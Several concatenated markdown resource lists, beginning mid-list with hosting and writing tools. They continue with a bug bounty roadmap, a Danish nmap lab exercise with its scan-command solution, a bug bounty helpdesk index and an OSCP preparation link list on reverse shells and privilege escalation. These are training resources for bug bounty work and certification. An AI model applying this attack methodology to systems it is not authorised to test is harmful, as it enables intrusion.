Pages](https://pages.github.com/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Gitlab Pages](https://about.gitlab.com/stages-devops-lifecycle/pages/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [infinityfree](https://infinityfree.net/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [netlify](https://www.netlify.com/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [planethoster](https://www.planethoster.com/en/World-Lite) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [surge](https://surge.sh/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [vercel](https://vercel.com/) - Previously known as Zeit. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [webself](https://en.webself.net/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Writing / Markdown / Rendering - [bibcitation](https://www.bibcitation.com/) - Citation generator that creates bibliographies, references and works cited. Automatically generate MLA, APA, Chicago and other citations and create an accurate bibliography in one click. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [bludit](https://www.bludit.com/) - Create your own Website or Blog in seconds. Simple, Fast, Secure, Flat-File CMS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [doctoc](https://github.com/thlorenz/doctoc) - Generates table of contents for markdown files - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Ghost](https://github.com/TryGhost/Ghost) - The #1 headless Node.js CMS for professional publishing - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [GitHub buttons](https://ghbtns.com/) - Showcase your GitHub repo’s success with hotlinkable GitHub star, fork, sponsor, and follow buttons. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [github-buttons](https://github.com/ntkme/github-buttons) - Unofficial github:buttons - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [github-calendar](https://github.com/Bloggify/github-calendar) - Embed your GitHub contributions calendar everywhere. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [githubchart-api](https://github.com/2016rshah/githubchart-api) - Embed github contributions chart as image - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Joplin](https://github.com/laurent22/joplin) - note taking and to-do application - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [markdown-here](https://github.com/adam-p/markdown-here) - Google Chrome, Firefox, and Thunderbird extension that lets you write email in Markdown and render it before sending. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [mdx](https://github.com/mdx-js/mdx) - Use JSX in your markdown documents. You can import components, like interactive charts or notifications, and export metadata. This makes writing long-form content with components a blast. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [nb](https://github.com/xwmx/nb) - Command line note-taking, bookmarking, archiving, and knowledge base application - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [obsidian](https://obsidian.md/) - knowledge base on top of a local folder of plain text Markdown files. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pdf.js](https://github.com/mozilla/pdf.js) - A PDF Reader in JavaScript made by mozilla - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/mozilla/pdf.js) - [quilljs](https://quilljs.com/) - WYSIWYG editor built for the modern web. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Relaxed](https://github.com/RelaxedJS/ReLaXed) - Create PDF documents interactively using web technologies - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Scribus](https://www.scribus.net/) - A page layout / desktop publishing tool - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/scribusproject/scribus) - [shields](https://shields.io/) - Add fancy shields to your github readme pages. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [standardnotes](https://standardnotes.org/) - Cross platform and mobile note taking app that is end-to-end (E2E) encrypted. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Tiny MCE](https://www.tiny.cloud/tinymce/) - WYSIWYG editor. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [writty](https://iamcharlie.design/writty/) - A free open-source text editor to help you focus on what matters. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Wordpress - [bedrock](https://roots.io/bedrock/) - Wordpress Boilerplate - [frontity](https://frontity.org/) - React framework for WordPress - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [frost](https://frostwp.com/patterns/) - Experimental block theme for designers, developers, and creators. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Modern Wordpress](https://github.com/vincenzo/modern-wp) - Modern WordPress development and deployment workflow template on Platform.sh - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [WP - CLI](https://wp-cli.org) - WP-CLI is the command-line interface for WordPress. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [WP Speedster](http://www.wpspeedster.com/) - You can find almost all themes from the WordPress.org theme repository tested against Google PageSpeed here. - [![](https://img.shields.io/badge/pricing-free-yellow)](#)
# Bug Bounty RoadMap Bug Bounty is the technique/process of finding bugs on programs by using different methodology and reporting those bugs to the respective program organizing company. After reporting the bug you receive a amount called bounty. Not all program provides you bounty for submitting for bug , programs like VDP appreciates your efforts and may provide some swags at best condition but no bounty. ## Requirements - Intermediate knowledge of computer networking,data communications,web mechanism - Basic knowledge of Html,Javascript,python,bash(to automate recon stuff) - Never giving up,always learning mentality ## Step 1 (Reconnaissance) Before doing any stuff , you first need to be good at reconnaissance.Reconnaisance is the process of gathering as much as information you can about the target program. Here, the term program can be interchangably regarded as target website.Reconnaisance step is all about gathering information by different automated tools or manually.Unlike in pentesting , in bug bounty recon most involves of finding subdomain owned by the program. ### Tools for recon and subdomain enumeration - [Amass](https://github.com/OWASP/Amass) - [ReEngine](https://github.com/yogeshojha/rengine) - [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) ## Step 2(Directory/File/Endpoints discovery) After finding the subdomain of the program you are targeting . You need to look for all the endpoints on that website , all the hidden files and folder in the particular website. You can do those thinigs manually but it takes a lot of time and effort. To do that automatically, there are many automated tools availabe some of the popular tools are enlisted below. ### Tools for File/Endpoint discovery - [GoBuster](https://github.com/OJ/gobuster) - [KiteRunner](https://github.com/assetnote/kiterunner) - [DirSearch](https://github.com/maurosoria/dirsearch) - [OWASP ZAP(GUI)](https://owasp.org/www-project-zap/) - [Recon(directory,port scanning)](https://github.com/maheshbasnet089/recon) ## Step 3 (Vulnerabilty Test) All the endpoints and file you gathered after performing step 2 should be tested for vulnerabilty . In case of the folder and file path , you can perform path traversal, directory traversal attack. For the endpoint which is forbidden you can try to bypass that 403 forbidden by using many technique. Some endpoints may have information disclosure. Information disclosure is the process of leaking of data/information of the user of the website .Those information can be juicy for bruteforcing so keep note about it.You should intercept your traffic by using [Burpsuite](https://portswigger.net/burp/documentation/desktop/getting-started) to be more clear on what attack to perform next . ### How to perform vulnerabilty test Try to look for form field, if the site doesnot handle input properly, you can use it to your advantage by performing attack like [XSS(cross site scripting)](https://medium.com/@maheshbasnet/cross-site-scripting-or-xss-13f49fed6cc5) .If the website is fetching some sort of data like image from outsource , you can try for SSRF(server site request forgery).If there is the userId or profileId in the URL you can lookout for IDOR vulnerabilty. Similary if there is redirect,nextTo,open,next params in the Url, lookout for open redirect vulnerabilty. If you don't see any csrf token in the request header , you can try to lookout for CSRF(cross site request forgery).If the site is accepting xml filetype upload like pdf,docx,pptx you can lookout for XXE vulnerabilty.Other vulnerabilty like SQL injection can be also lookout for if the site uses SQL databases in contrast if it uses mongodb database lookout for [mongo injection](https://medium.com/@maheshbasnet/mongo-injection-sql-injection-a8b76cd8b193). Beside these other vulnerabilty like race around condition (especially in transaction doing website) and Insecure deserialization can be looked out. ## Step 4 (Fuzzing) If you are tired to doing vulnerabilty assessment and looking out for vulnerabilty manually. You can try automated tools which saves a lot of time for you. Fuzzing is the process of sending repetive request to the targeted website automatically in a certain time interval.To performing credentials brute forcing,directory brute forcing, endpoints brute forcing , fuzzing process comes handy. To perform fuzzing there are many tools, besides those many tools some of the popular ones are listed below. ### Tools for fuzzing - [Wfuzz](https://github.com/xmendez/wfuzz) - [Ffuf](https://github.com/ffuf/ffuf) ## Step 4 (Report Writing) If you found any vulnerabilty by performing step 3 . You need to report those vulnerabilty to the respective program company to earn your bounty(money).While writing report , you need to think that the report checkers knows nothing about the technology or he/she is 10 years kid.So write the report in so understandable and explainable way that the non technical person can understand it . ## Resources and Books Google is the first thing to think about while thinking about resource . It contains everything , every problem solutions you are looking out for . If you get stuff on any topic you should simply force yourself to google it.Beside google there are some popular books which I highly recommend you to read because i had actually tasted those books myself and recommending you. - Bug Bounty BootCamp by vickie lie (Theory More) - The Real World Bug Hunting by peter yoworski (Practical More) - The web Hacking(bible of website hacking) - Hacking Apis (will be a plus point) ### Repositories to chekout for <https://github.com/OWASP/wstg> <https://github.com/swisskyrepo/PayloadsAllTheThings> <https://github.com/danielmiessler/SecLists> <https://github.com/payloadbox/xss-payload-list> #### Person to checkout for <https://github.com/hakluke> <https://github.com/tomnomnom> <https://github.com/jhaddix> #### Labs to Pratice [picoctf](https://picoctf.org/) [tryhackme](https://tryhackme.com) [hackthebox](https://www.hackthebox.com/) [wargames](https://overthewire.org/wargames/) [PWNfunctionXss](https://xss.pwnfunction.com/) [portswiggerLabs](https://portswigger.net/web-security/learning-path) [OWASPJuiceShop](https://github.com/juice-shop/juice-shop) #### Articles to Refer [hacktricks](https://book.hacktricks.xyz/) [pentesterland](https://pentester.land/) [BugBountyWriteUps](https://pentester.land/list-of-bug-bounty-writeups.html) [Medium](https://medium.com/tag/bug-bounty/latest) ## Notes I clearly want to state that , not everyone follows the same steps like above. Everyone have got different taste. It isn't have to have follow sort of things.According to the condition and circumstances you can create your own methodology which will favor you. Some too don't consider to use linux at all for bug bounty.Linux is not have to have thing too. But it have go many tools already built in by default an bash which can automate your task , and saves time. If you have got burpsuite installed on system despise of OS, you are 90% ready for bug bounty
# Find information med nmap * I et terminal vindue skal du køre `run.sh`. * Find ligesom sidst ip adressen for docker containeren. * Brug nu nmap til at scanne for porte og find information omkring dem * Der er 4 flag <details> <summary>Løsning</summary> `nmap -sC -sV -p- [IP]` for at få alle flag, samt at checke hjemmesiden på port 80, men prøv at se hvor hvert flag egentlig ligger, og hvilken nmap argument der finder hver del </details>
# Bug Bounty Helpdesk(Under Development) > Note: Contents inside the **RESETHACKER Community** are to help our community members and content belongs to respective Authors and RESETHACKER Team. BugBounty HelpDesk | Title -- | -- **0** Bug bounty FAQ | [Beginners friendly](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/blob/main/Bugbounty/bugbounty-FAQ.md) **0** ResetHacker- Setup HelpDesk | [Pentesting/Bug Bounty/DevSecOps Setups in window, linux, docker and vps(aws, azure,gcp etc)](https://github.com/RESETHACKER-COMMUNITY/Resources/tree/main/setup) **0** Ignitetechnologies & ResetHacker | [Burp Suite for Pentester and cheatsheet to hunt the vulnerabilities](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/blob/main/Bugbounty/burpsuite.md) **0** Harsh-Bothra | [Learn 365 Challenge for Beginners/Intermidate - Take it as a refererance to Challenge yourself](https://github.com/harsh-bothra/learn365) **0** hakluke | [Bug-bounty-standards - A list of edge cases that occur in bug bounty programs, conversations on how they should be handled.](https://github.com/hakluke/bug-bounty-standards) **0** Cipher387 | [Dork Collection for different search engine:](https://github.com/cipher387/Dorks-collections-list) **0** Luke Stephens | [How to Regex: A Practical Guide to Regular Expressions (Regex) for Hackers](https://www.bugcrowd.com/blog/how-to-regex-a-practical-guide-to-regular-expressions-regex-for-hackers/) **0** Streaak | [Got an API use Keyhacks](https://github.com/streaak/keyhacks) **0** Vikram | [JavaScript - Content discovery](https://github.com/RESETHACKER-COMMUNITY/Resources/blob/main/Writeups/javascript.md) **0** Wordlists | [All Wordlists at one place](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/blob/main/Bugbounty/Wordlists/AllWordlists.md) **0** Bug bounty writeups | [Vulnerability based write ups at one place](https://github.com/alexbieber/Bug_Bounty_writeups) **0** Bug Bounty Mind-Map collection | [Bugbounty Mindmap curated by all the amazing bughunters.](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/tree/main/Bugbounty/BBMindmap) **0** Public Bug bounty | [Collection of public Bugbounty program](https://github.com/resethacker/public-bugbounty-programs) **0** StayUpToDate | [Latest reward, CVE, writeups, tools, Reports, Disclosures and on going trend in Community.](https://github.com/RESETHACKER-COMMUNITY/Community-Contributers/blob/main/StayUptoDate.md) BugBounty HelpDesk | Title -- | -- **1** HackTricks | [Pentesting & bugbounty Methodology](https://book.hacktricks.xyz/pentesting-methodology) **2** Six2dez | [Web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) **3** gowthams | [Help bug bounty hunters with resources](https://gowthams.gitbook.io/bughunter-handbook/bugbounty-short-write-ups) **4** The Web Application Security Consortium | [The WASC Threat Classification v2.0](http://projects.webappsec.org/w/page/13246978/Threat-Classification) **5** kathan19 | [HowToHunt](https://kathan19.gitbook.io/howtohunt/) **6** Ninad Mathpati | [Securityboat](https://workbook.securityboat.in/) **7** Book of Bug Bounty Tips | [Collection of "BugBounty" Tips tweeted / shared by community people.](https://gowsundar.gitbook.io/book-of-bugbounty-tips/) **8** EdOverflow | [Cheatsheets and Must checkout for subdomains Takeover](https://github.com/EdOverflow/bugbounty-cheatsheet) **9** Harsh-Bothra | [Security Explained - Highly recommend to understabd vulnerable code-** files](https://github.com/harsh-bothra/SecurityExplained/tree/main/resources) **10** Security protection | [Curated lists of tools, tips and resources for protecting digital security and privacy](https://security-list.js.org/#/) **11** Offensive Security Cheetsheet | [Web Pentesting and bug bounty](https://cheatsheet.haax.fr/web-pentest/bug_bounty_tips/) **12** @zapstiko | [curate bogbounty resource from twitter](https://github.com/zapstiko/Bug-Bounty) ## Getting started with BugBounty - Under development 1. | [Resources for getting started with BugBounty -BBb_00 ](https://github.com/RESETHACKER-COMMUNITY/Resources/blob/main/Writeups/BBbasics.md) 2. | [Resources for Web Pentesting: Let's Hunt - BBh_01 - under development ](https://github.com/RESETHACKER-COMMUNITY/Resources/blob/main/Writeups/BBintermediate.md) This contains the detailed resources for people getting started with BugBounty. Index | [BugBounty Basic -BBb_00 ](https://github.com/RESETHACKER-COMMUNITY/Resources/blob/main/Writeups/BBbasics.md) --- | --- **1** | Linux Distributions **2** | Basic Understanding the web application before you start Hunting **3** | Learning resources **4** | Paid Certifications / courses **5** | Bug Bounty platforms offers Bounty **6** | Practice platform **7** | [Talks - Bug Bounty] **8** | [Pentesting & Bug Hunting Resources - How to Start?] **9** | [Bug reports] **10** | [Vulnerabilt] Assesment and one liners] **11** | [Bug hunting Reconnaissance writeups] **12** | [Tools for bug bounty] **13** | [Ebooks] **14** | [Misc] This contains the detailed Resources for people **Already Doing BugBounty** Index | [Web pentesting : Let's Hunt - BBh_01 - Under development](https://github.com/RESETHACKER-COMMUNITY/Resources/blob/main/Writeups/BBintermediate.md) --- | --- **1** | [Pentesting Reports/Disclosures ] **2** | [Web Pentesting MindMaps] **3** | [Web security Testing Writeups] **4** | [Bugbounty Reports/Disclosures ] **5** | [Bugbounty Methodology/Reconnaissance]
# **OSCP Preparation Material** ## **OSCP Approach** For you to begin, I have divided the OSCP Preparation in three phases i.e. Pre-Enrolment, Post-Enrolment and Examination. Hope this helps!! **Approach for OSCP Examination - https://jagskap.blogspot.com/2020/06/approach-to-crack-oscp-examination.html** Other Blogs to refer - * OSCP Preparation Guide - https://www.secjuice.com/oscp-prep-guidance/ * OSCP Journey - https://fluidattacks.com/web/blog/oscp-journey/ * OSCP Preparation (Newbie) -http://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/ * Pentest tips and Tricks - https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/ ## **Basic understanding** * Reverse and Bind Shell - https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/ * Nmap - https://resources.infosecinstitute.com/nmap/#gref * Netcat and ncat Basics - https://www.varonis.com/blog/netcat-commands/ * Metasploit - https://www.offensive-security.com/metasploit-unleashed/metasploit-fundamentals/ * Sceneriao Based Exploitation - Metasploit - http://www.fuzzysecurity.com/tutorials/13.html * Certutil for File Transfer - http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html * Ways to Download a file - https://blog.netspi.com/15-ways-to-download-a-file/ * Web Application Attacks - https://kentosec.com/2018/08/12/oscp-prep-episode-9-web-app-attacks/ * Reverse Shell - http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet * One Liner Reverse shell - http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet * Different ways to get shell - https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ * Spawning a TTY shell - https://netsec.ws/?p=337 * Port Forwarding - https://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch * Best Enumeration - http://www.0daysecurity.com/penetration-testing/enumeration.html ## **Machines** #### **Beginners** * Kioptrix: Level 1 - https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ * Kioptrix: Level 1.1 - https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ * Kioptrix: Level 1.2 - https://www.vulnhub.com/entry/kioptrix-level-12-3,24/ * Kioptrix: Level 1.3 - https://www.vulnhub.com/entry/kioptrix-level-13-4,25/ * FristiLeaks: 1.3 - https://www.vulnhub.com/entry/fristileaks-13,133/ * Stapler: 1 - https://www.vulnhub.com/entry/stapler-1,150/ * PwnLab: init - https://www.vulnhub.com/entry/pwnlab-init,158/ * Mr-Robot: 1 - https://www.vulnhub.com/entry/mr-robot-1,151/ #### **Intermediate** * Kioptrix: 2014 - https://www.vulnhub.com/entry/kioptrix-2014-5,62/ * Brainpan: (Bufer Overflow) - https://www.vulnhub.com/entry/brainpan-1,51/ * HackLAB: Vulnix - https://www.vulnhub.com/entry/hacklab-vulnix,48/ #### **Advance** * VulnOS: 2 - https://www.vulnhub.com/entry/vulnos-2,147/ * SickOs: 1.2 - https://www.vulnhub.com/entry/sickos-12,144/ * /dev/random: scream - https://www.vulnhub.com/entry/devrandom-scream,47/ * pWnOS: 2.0 - https://www.vulnhub.com/entry/pwnos-20-pre-release,34/ * SkyTower: 1 - https://www.vulnhub.com/entry/skytower-1,96/ * IMF - https://www.vulnhub.com/entry/imf-1,162/ ## **Linux Gaining Shell/Privilege Escalation** * Gotmilk - https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ * SUID - Priv Esc- https://pentestlab.blog/category/privilege-escalation/ * SUDO - Priv Esc - https://touhidshaikh.com/blog/?p=790 * Priv Esc- suid - https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/ * Exploit- Priv Esc- https://payatu.com/guide-linux-privilege-escalation/ * Samba - https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#smb-enumeration-tools * Using . in Path - https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/ * CronTab - https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/ * LFI Tricks- https://sushant747.gitbooks.io/total-oscp-guide/local_file_inclusion.html * NFS - https://www.tecmint.com/how-to-setup-nfs-server-in-linux/ * Mysql UDF Exploit - Priv esc - https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/ * SSH authorized key - http://blog.jr0ch17.com/2018/No-RCE-then-SSH-to-the-box/ * Editing etc/passwd file priv esc - https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/ * Understanding etc/passwd file format - https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/ * MySQL - Raptor Udf.c - https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf.c * MySql UDF Exploit - https://www.facebook.com/notes/security-training-share/mysql-root-to-system-root-with-lib_mysqludf_sys-for-windows-and-linux/865458806817957/ * MSSQL to RCE - https://www.tarlogic.com/en/blog/red-team-tales-0x01/ * TFTP- https://null-byte.wonderhowto.com/how-to/hack-like-pro-using-tftp-install-malicious-software-target-0157547/ ## **Windows Gaining Shell/Privilege Escalation** * Hacking & Security - http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html * Fuzzy Security - http://www.fuzzysecurity.com/tutorials/16.html * GUIF - https://guif.re/windowseop * MySql UDF Exploit windows -https://osandamalith.com/2018/02/11/mysql-udf-exploitation/ * Priv Esc Methods - https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ * Priv Esc Guide - https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ ## **Buffer Overflow** * Understanding BO - https://www.radiojitter.com/buffer-overflow-exploit-part-1/ * Understanding BO - https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ * Brainpan - https://jagskap.blogspot.com/2019/06/brainpan-buffer-overflow.html * SLMAIL 5.50 Mail Server - https://github.com/R4v3nG/Seattle-Lab-Mail-SLmail-5.5-POP3-PASS-Remote-Buffer-Overflow ## **Scripts** * LinEnum - https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh * Linux Priv Checker - https://gist.github.com/sh1n0b1/e2e1a5f63fbec3706123 * Windows Service pack exploits- https://github.com/abatchy17/ * Powershell Exploit - https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc * Windows Privesc Check - Powershell - https://github.com/silentsignal/wpc-ps * Priv Esc Vul Checker - https://github.com/rasta-mouse/Sherlock * SecLists - https://github.com/danielmiessler/SecLists * Windows Privesc Check - https://github.com/pentestmonkey/windows-privesc-check * Just Another windows Enum Script - https://github.com/411Hall/JAWS * Windows Privesc Check - Powershell - https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc * Windows-Privilege-Escalation - https://github.com/frizb/Windows-Privilege-Escalation * Payload of All Things - Windows PrivEsc - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md * Payload of All Things - https://github.com/swisskyrepo/PayloadsAllTheThings ## **Practice Platforms** * Vulnhub - https://www.vulnhub.com/ * HackTheBox - https://www.hackthebox.eu/ * Metasploitable2 - https://sourceforge.net/projects/metasploitable/ * DVWA - https://github.com/ethicalhack3r/DVWA